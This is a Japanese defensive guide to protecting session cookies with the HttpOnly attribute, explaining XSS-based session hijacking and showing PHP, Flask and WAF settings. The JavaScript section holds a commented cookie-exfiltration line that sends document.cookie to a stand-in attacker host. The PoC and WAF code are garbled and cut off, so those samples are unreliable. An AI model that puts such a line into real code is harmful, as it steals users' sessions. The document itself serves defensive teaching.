【実務・中級編】HttpOnly属性によるセッションクッキーの保護 – アプリケーションセキュリティ & 安全な開発防御ガイド

HttpOnly属性でセッションハイジャックの牙城を崩す:JavaScriptの魔の手からクッキーを守る最終防衛線

やあ、みんな。今日も今日とて、サイバー空間の治安維持、ご苦労様。君たちが日々作り上げているWebアプリケーションが、どんな巧妙な手口で狙われているのか、そしてそれをどうすれば鉄壁に守れるのか。今回は、特に多くの開発者が「まあ、大丈夫だろう」と見落としがちな、しかし攻撃者にとっては格好の的となる「セッションクッキーの窃取」に焦点を当てる。

特に、JavaScriptからのアクセスを制限する HttpOnly 属性。これ、本当に理解して使ってる? XSS(クロスサイトスクリプティング)脆弱性が発見された時、攻撃者が真っ先に狙うのは、まさにこのセッションクッキーなんだ。パスワードみたいに直接的な情報ではないけれど、セッションIDが手に入れば、君のユーザーになりすますなんて朝飯前だ。今回は、そのリスクと、今日からすぐに実践できる具体的な対策を、俺が現場で培ってきた「泥臭い」経験も交えながら、分かりやすく、そして何より「すぐに使える」形で解説していく。

なぜセッションクッキーは狙われるのか?:攻撃者の思考回路を覗く

まず、なんで攻撃者はセッションクッキーを欲しがるのか、その動機を理解しよう。君のユーザーがログインした時、サーバーは「このユーザーは確かに本人だ」という証明のために、ユニークなセッションIDを生成し、それをクッキーとしてブラウザに保存する。以降、ユーザーがページを遷移するたびに、ブラウザはこのクッキーをサーバーに送信し、サーバーはそれを見て「ああ、この人はログイン済みだ」と判断するわけだ。

ここがミソだ。セッションIDさえあれば、攻撃者はユーザーになりすまして、あたかも正規のユーザーであるかのように振る舞える。例えば、

  • 不正な購入: ユーザーのアカウントを使って勝手に商品を購入する。
  • 情報窃取: ユーザーしか見られないはずの個人情報や機密情報を盗み出す。
  • アカウント乗っ取り: パスワードを変更するなどして、アカウントを完全に奪う。

これらの被害は、ユーザー個人だけでなく、サービス提供者である君たちにも計り知れない損害を与える。

XSSの連鎖:JavaScriptがセッションクッキーを盗む恐るべきシナリオ

では、どうやって攻撃者はセッションクッキーを盗むのか? 最も一般的な手口が、XSS(クロスサイトスクリプティング)だ。

XSS脆弱性とは、Webアプリケーションがユーザーからの入力を適切にサニタイズ(無害化)せずに、そのままHTMLに埋め込んでしまうことで発生する。攻撃者は、この脆弱性を突いて、悪意のあるJavaScriptコードをWebページに埋め込む。

例えば、コメント投稿機能にXSS脆弱性があるとしよう。攻撃者は、以下のようなコメントを投稿する。

このコメントがページに表示されると、それを閲覧したユーザーのブラウザは、このJavaScriptを実行してしまう。そして、document.cookie を使って、そのユーザーのセッションクッキーを平文で取得し、攻撃者の用意したサーバーへと送信してしまうのだ。

そして、もしそのクッキーに HttpOnly 属性が付与されていなかったら…? おしまいだ。 攻撃者は、そのセッションクッキーを使って、君のユーザーになりすますことができる。

HttpOnly属性:JavaScriptの届かない聖域へ

そこで登場するのが、HttpOnly 属性だ。これは、HTTPレスポンスヘッダーでクッキーを設定する際に付与できる属性で、ブラウザに対して「このクッキーはJavaScriptからアクセスできないようにしてほしい」と指示するものだ。

つまり、先ほどのJavaScriptコード(document.cookie)は、HttpOnly 属性が付与されたクッキーにはアクセスできなくなる。攻撃者は、たとえXSS脆弱性を突いてJavaScriptを実行できたとしても、セッションクッキーを盗むことができなくなる。これは、セッションハイジャックという、まさに「なりすまし」攻撃に対する非常に強力な防御策となる。

PoC:HttpOnlyがない場合とある場合の違い

具体的なイメージを持ってもらうために、簡単なPoC(Proof of Concept:概念実証)を見てみよう。

前提:

  • Webサーバーは、session.php というPHPファイルでセッションを管理している。
  • index.html にXSS脆弱性があり、JavaScriptでクッキーを取得できる。

1. HttpOnly属性がない場合(脆弱)

session.php でクッキーを発行する際に、HttpOnly を指定しない。

Welcome, test_user!

“;
echo “

Your session ID is: ” . htmlspecialchars($session_id) . “

“;
echo “

Try to access it with JavaScript.

“;
?>





Vulnerable Page

This page is vulnerable to XSS.

Check your console!



この場合、index.html のJavaScriptを実行すると、ブラウザの開発者ツールコンソールにセッションクッキーが表示される。攻撃者はこれを盗み出すことができる。

2. HttpOnly属性がある場合(安全)

session.php でクッキーを発行する際に、HttpOnly を true に指定する。

Welcome, test_user!

“;
echo “

Your session ID is: ” . htmlspecialchars($session_id) . “

“;
echo “

Try to access it with JavaScript (should fail).

“;
?>





Secure Page

This page is protected by HttpOnly.

Check your console!



この場合、index.html のJavaScriptを実行しても、document.cookie には HttpOnly 属性が付与されたセッションクッキーは含まれない。攻撃者はJavaScript経由ではそれを盗むことができない。

実践!HttpOnly属性を安全に実装するためのコードと設定

さあ、ここからが本題だ。君たちが普段使っているであろうPHP、Python、そしてJavaScript(フロントエンド)で、どのように HttpOnly 属性を実装すれば良いのか。さらに、WAFやWebサーバーの設定についても触れていこう。

1. PHPでの実装

PHPでは、setcookie() 関数を使う際に、第7引数で HttpOnly を指定できる。

$cookie_params[‘lifetime’],
‘path’ => $cookie_params[‘path’],
‘domain’ => $cookie_params[‘domain’],
‘secure’ => true, // HTTPS接続時のみ送信
‘httponly’ => true, // JavaScriptからのアクセスを禁止
‘samesite’ => ‘Lax’ // CSRF対策にも有効 (‘Strict’ も検討)
]
);

// セッションにユーザー情報を保存(例)
$_SESSION[‘user_id’] = ‘logged_in_user’;

echo “Session cookie set with HttpOnly and Secure attributes.”;
?>

ポイント:

  • setcookie() の第7引数(PHP 7.3以降は連想配列形式で httponly キー)で true を指定する。
  • secure 属性も true に設定し、HTTPS通信時のみクッキーが送信されるようにすることを強く推奨する。
  • samesite 属性も併せて設定することで、CSRF(クロスサイトリクエストフォージェリ)対策にもなる。Lax または Strict を検討しよう。

2. Python (Flask) での実装

PythonのWebフレームワーク、例えばFlaskを使っている場合も同様に設定できる。

from flask import Flask, session, request, make_response
import os

app = Flask(__name__)
app.secret_key = os.urandom(24) # セッションを暗号化するための秘密鍵

@app.route(‘/’)
def index():
if ‘username’ in session:
return f’Hello, {session[“username”]}!’
return ‘Please log in.’

@app.route(‘/login’, methods=[‘POST’])
def login():
username = request.form.get(‘username’)
session[‘username’] = username

# セッションクッキーを設定
response = make_response(f’Logged in as {username}’)

# FlaskのセッションはデフォルトでHttpOnlyが有効になっていることが多いが、
# 明示的に設定する場合や、カスタムクッキーの場合は以下のように設定できる。
# session_cookie_name = app.session_cookie_name # デフォルトは ‘session’
# response.set_cookie(
# session_cookie_name,
# session[session_cookie_name], # sessionオブジェクト自体がクッキーの値として扱われる
# httponly=True,
# secure=True, # HTTPSの場合のみ
# samesite=’Lax’
# )
# Flask 2.3 以降では、app.config[‘SESSION_COOKIE_HTTPONLY’] = True でグローバルに設定可能

return response

@app.route(‘/logout’)
def logout():
session.pop(‘username’, None)
return ‘Logged out.’

if __name__ == ‘__main__’:
# HttpOnly, Secure, SameSite属性は app.config で設定するのが一般的
app.config[‘SESSION_COOKIE_SECURE’] = True # HTTPS接続時のみ送信
app.config[‘SESSION_COOKIE_HTTPONLY’] = True # JavaScriptからのアクセスを禁止
app.config[‘SESSION_COOKIE_SAMESITE’] = ‘Lax’ # CSRF対策

# session.get_cookie_httponly() のような直接的なメソッドはないが、
# configで設定することで、Flaskが自動的にクッキーに適用してくれる。

app.run(debug=True, port=5000)

ポイント:

  • Flaskでは、app.config を使ってセッションクッキーの属性をグローバルに設定するのが一般的。
  • SESSION_COOKIE_HTTPONLY, SESSION_COOKIE_SECURE, SESSION_COOKIE_SAMESITE を True または適切な値に設定する。
  • フレームワークが内部でクッキーを生成・管理している場合、そのフレームワークのドキュメントに従って設定を行うのが確実だ。

3. JavaScript (フロントエンド) での注意点

フロントエンドのJavaScript開発者としては、HttpOnly 属性は「設定する側ではなく、意識する側」になる。

// HttpOnly属性が付与されたクッキーは、JavaScriptからはアクセスできない
// したがって、以下のコードを実行しても、セッションクッキーは取得できない

console.log(“Current document cookies:”);
console.log(document.cookie); // HttpOnlyではないクッキーのみが表示される

// 悪意のあるJavaScript(例)
// var stolen_cookie = document.cookie; // ここで HttpOnly なクッキーは取得できない
// fetch(‘http://attacker-server.com/steal?cookie=’ + encodeURIComponent(stolen_cookie));

開発者としての心構え:

  • HttpOnly属性の存在を理解する: 自分が開発するJavaScriptコードが、セッションクッキーを直接操作しようとしていないか確認する。
  • XSS脆弱性を徹底的に排除する: HttpOnly属性は万能ではない。XSS脆弱性そのものをなくすことが最優先だ。ユーザーからの入力は必ずエスケープ処理を行う。
  • CSP (Content Security Policy) を導入する: CSPは、ブラウザが読み込めるリソース(スクリプト、スタイルシート、画像など)を制限する強力なセキュリティ機能だ。これにより、不正なスクリプトの実行をさらに防ぐことができる。

4. WAF (Web Application Firewall) での対策

WAFは、Webアプリケーションへの攻撃を検知・防御する仕組みだ。HttpOnly 属性を直接設定するわけではないが、WAFの設定でセッションクッキーの保護を強化できる。

  • XSS攻撃の検知・ブロック: WAFは、JavaScriptコードのパターンを検知し、XSS攻撃を試みるリクエストをブロックすることができる。
  • セッションIDの不正操作の検知: WAFによっては、セッションIDの異常な値や、不正な送信元からのセッションIDの試行などを検知する機能を持つものもある。

設定例 (架空のWAFルール):

WAFルール例:XSS攻撃の疑いがあるリクエストをブロック
SecRule ARGS “@contains

シェアする
securityintronationalをフォローする

コメント

タイトルとURLをコピーしました